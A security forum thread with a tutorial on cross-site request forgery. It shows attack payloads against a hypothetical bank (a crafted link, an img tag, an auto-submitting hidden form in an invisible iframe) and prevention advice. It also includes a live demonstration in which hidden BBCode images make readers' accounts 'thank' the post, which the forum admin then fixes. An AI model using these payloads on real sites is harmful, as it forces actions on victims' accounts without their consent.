GreySec Forums

Full Version: Cross-Site Request Forgery Attacks
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
[Disclaimer, this is adapted from a post I made on HackCommunity a couple years ago]


What is CSRF

If there is one attack that I see more often than any other on hardened web-application it ss Cross-Site Request Forgery (CSRF, said: Sea Surf). I think this is because unlike something like SQL Injection where an attacker can immediately do damage, CSRF requires some more planning and is a lot more restricted in what it can do compared with Cross-Site Scripting (XSS).

What is CSRF? It an attack which forces a user to perform an action without their consent or knowledge on a web-application they are authenticated against.

This happens by taking advantage of the trust that exists between a web-application and the victim's browser. Once a user has authenticated against a web-application it is customary to create a session identifier as a cookie. This cookie will be sent along with every request the browser makes to the web-application, this allows the web-application to know who is making the request without requiring you to enter your credentials with every request. The web-application trusts that all requests coming from your browser with your session-id are genuine requests from the user. So, if an attack could cause a browser to make a request to a web-application the session-id will automatically be added, and the server will trust that it was a genuine request even though it was actually initiated by the attack.


If you're not quite following perhaps an example will help.

Simple Example

Imagine your friend Alice has a bank account with SecureBank.com.

When transferring money on SecureBank.com the website shows you a form that asks for the from, to, and transfer_amount. Imagine this form submits a GET request. The target of that request might look something like this if Alice owned the account 11077771 and was transferring $100 to Bob with account number 1001101.

Code:
https://securebank.com/transfer.php?from=11077771&to=1001101&transfer_amount=100

Now the bank is secure it makes sure you own the account you are trying to transfer from and they sanitize input to protect against XSS and SQL Injection, but this request doesn't protect against CSRF request...

What would happen if you the attacker were able to get Alice to click the following link:


Code:
https://securebank.com/transfer.php?from=11077771&to=31333337&transfer_amount=99999

Alice's browser which is logged into the bank would this access this transfer page, check if Alice own the account 11077771 which she does and then it would transfer $99,999 to the attack owner account 31333337.

So hopefully that makes sense; any request that does not contain any unique information can be replayed like that.

Of course Alice is probably going to be suspicious if I tell her to click a link and it takes her unexpectedly to her bank account. So to be a little more stealthy you can cause the browser to make the request another way. Using images you can cause Alice's browser to request the securebank website.

Code:
<img src="https://securebank.com/transfer.php?from=11077771&to=31333337&transfer_amount=99999">

When the browser sees the above image tag it will make a request to the transfer url again giving us Alice's money all you need to do is get Alice to visit your page with the image tag, script tag, css, or whatever other means you've selected to get cause the browser to make the request.

This is also one of the big differences from XSS, the requests do not require JavaScript to be enabled in order to be sent. Which means that even those using something like NoScript can still be impacted by CSRF.



Moving on, you might be thinking "but I thought most forms used POST instead of GET, does that make them secure"...no it does not make them secure. It just makes them a little harder to exploit.

Lets imagine instead of a simple get request transfer.php it was a POST request that looked something like:

Code:
POST /transfer.php HTTP/1.1
Host: securebank.com
User-Agent: My Awesome Webbrowser
Cookie: phpsessid=SSDFE23UN5VYS8P0JE2V6SG&lastvisit=1398310259&user=Alice
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 47

from=11077771&to=31333337&transfer_amount=99999

So now its a POST request, you can't craft an <img> tag to make that request so what can you do?

You can craft a form! Imagine the following HTML:

Code:
<form action="https://securebank.com/transfer.php" method="POST">
    <input type="hidden" name="from" value="11077771" />
    <input type="hidden" name="to" value="31333337" />
    <input type="hidden" name="transfer_amount" value="99999" />
    <input type="submit" value="Win Lottery" />
</form>

Now all you need to do is trick Alice into visiting your page and clicking that "Win Lottery" button. Naturally that is a lot of work, getting her to visit will be hard enough so instead you can kindly submit the form for Alice automatically by adding the following javascript to your attack page.

Code:
<script>
    document.forms[0].submit();
</script>

This leads to a similar problem with the direct link from earlier though, don't you think Alice would be suspicious if she visits your page and is redirected to her bank? We need to hide this request from her. Fortunately this is very easy to do as you can specify a target for the form.

Code:
<form action="https://securebank.com/transfer.php" method="POST" target="hide">
    <input type="hidden" name="from" value="11077771" />
    <input type="hidden" name="to" value="31333337" />
    <input type="hidden" name="transfer_amount" value="99999" />
    <input type="submit" value="Win Lottery" />
</form>
<script>
    document.forms[0].submit();
</script>
<iframe name="hide" style="border:0px;width:1px;height:1px;overflow:hidden"></iframe>

The above code will automatically submit our form and the results will be displayed in our 'hidden' iframe allowing the request to be made without Alice knowing. ^_^

The above cases will cover 99% of all vulnerable cases but not all of them. Another common case is AJAX requests that will send the data as XML or JSON and set the Content-Type header to and then verify the content type header is the appropriate value. These are tricky to exploit because though you can't set that header in POST request with a form. Instead it needs to be set with javascript...but javascript requests are limited to the same domain. Hence the target site can set the header but your attack site cannot.

You can however get around this and some other header checks(like refer) using ... flash. Flash is able to cause the browser to make cross-domain requests with custom headers/verb(PUT, DELETE, etc). The knowledgeable among you might be thinking that to make requests with flash the target site needs to have a crossdomain.xml allowing it and that is kinda true. Except you can still make the request, you just can't read the response with flash.

That said the flash based CSRF is more complicated so I'll save that for another tutorial if there is interest. [Update: Actually, flash updated their security policies making flash-based CSRF less useful, though if there is interest I can still write it up]

The banking example might sound extreme, what bank would be so insecure as to allow money to be transferred without user consent, yet ING Direct's onling banking system was vulnerable to CSRF that...allowed money to be transferred. This example might be contrived, but it is out there in the real world and its not much more complicated.



Prevention

By now I hope you are wondering how to protect yourself from such attacks. The answer is very simple:

  1. Do not make stateful changes with a GET request. This is a violation of the HTTP spec, URLs get cached by the browser revealing potentially sensitive information and its just a bad idea.
  2. Include a unique token with every request. This unique token should be validated with every POST request and should only be valid for one request.

https://www.owasp.org/index.php/Cross-Si...heat_Sheet



Real-World Example

I'll end this with a fun, real world example. This will also make it clear why I thought now would be a good time to post.

If you look below this post you should see a button called 'Thank'. Clicking that button will result in a request something like the follow:

Code:
GET /showthread.php?action=thank&tid=1272&pid=5512 HTTP/1.1
Host: greysec.net
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: mybb[lastvisit]=*; mybb[lastactive]=*; mybbuser=*; collapsed=; mybb[lastactive]=*; sid=*
Upgrade-Insecure-Requests: 1
Connection: keep-alive

Notice anything wrong with that request?

There is no unique value, its GET, and it makes a stateful change. So what happens if I were to include a BBCode image to that URL in my post like this?

Code:
[color=#252525][img=1x1]https://greysec.net/showthread.php?action=thank&tid=1272&pid=5512[/img][/color]
[Image: showthread.php?action=thank&tid=1272&pid=5512]
[Image: showthread.php?action=thank&tid=560&pid=2608]
[Image: showthread.php?action=thank&tid=564&pid=2620]

Well...it might just force your account to thank this post ^_^...Refresh the page to see if your name appears as one of the users who has thanked this post.
Yay new features... but yeah this exact reason is why CSRF tokens are super important.
Good stuff man, excellent introduction to the subject.
That's a pretty solid tutorial, thanks for the post! And haha I like the real world example Smile Maybe I should be worried, I'm not actually sure how serious this vulnerability is since it's just for the "thank" function, but who knows it might be used for more evil deeds. Thanks for letting me know, you deserve all the thanks you hijacked Wink

I'm not actually very adept at patching things like this as I mostly have abstract experience and not so much of the applied or practical know-how, since I'm still learning and all. But if anyone is feeling like patching it, feel free to contact me and I'll send you a smaller bitcoin reward.

Plugin: https://prostats.wordpress.com/support/ | (Direct DL Link)

For now, I might either focus on reporting the issue and/or look into alternative solutions whom are more updated. I chose this plugin since it has native support with prostats, making the implementation and thus the migration much quicker without any modifications needed (For prostats).

Edit: Quick thing to note about countermeasures, speaking of plugins like noscript. Yes it's not very effective since JS is not always required, however I truly recommend the addon called "Request Policy" which is great for this. It's sort of like noscript except it blocks all requests instead of scripts, you have to manually approve all the request (Depending on security settings, you can set whitelists, blacklists and other things too). It has saved me quite a few times in scenarios when XSS/CSRF attempts were involved, but especially with people trying to grab your IP with images (IPloggers). Request Policy will block those, if you choose to deny them that is.

Link to addon: https://www.requestpolicy.com/
yeah that was nice. thanks for the post, again - haha Tongue
Disregard about what I said on patching the plugin :p Although I did offer an reward, I honestly think it'd be too much work for the trouble. I found a more viable solution, another plugin that also uses tokens authorization. I will be implementing it soon, although thanks will be disappearing from the main page stats, but I guess it can't be helped.

Thank you Dropzone for reporting the vulnerability.
Thanks for sharing this tutorial with us.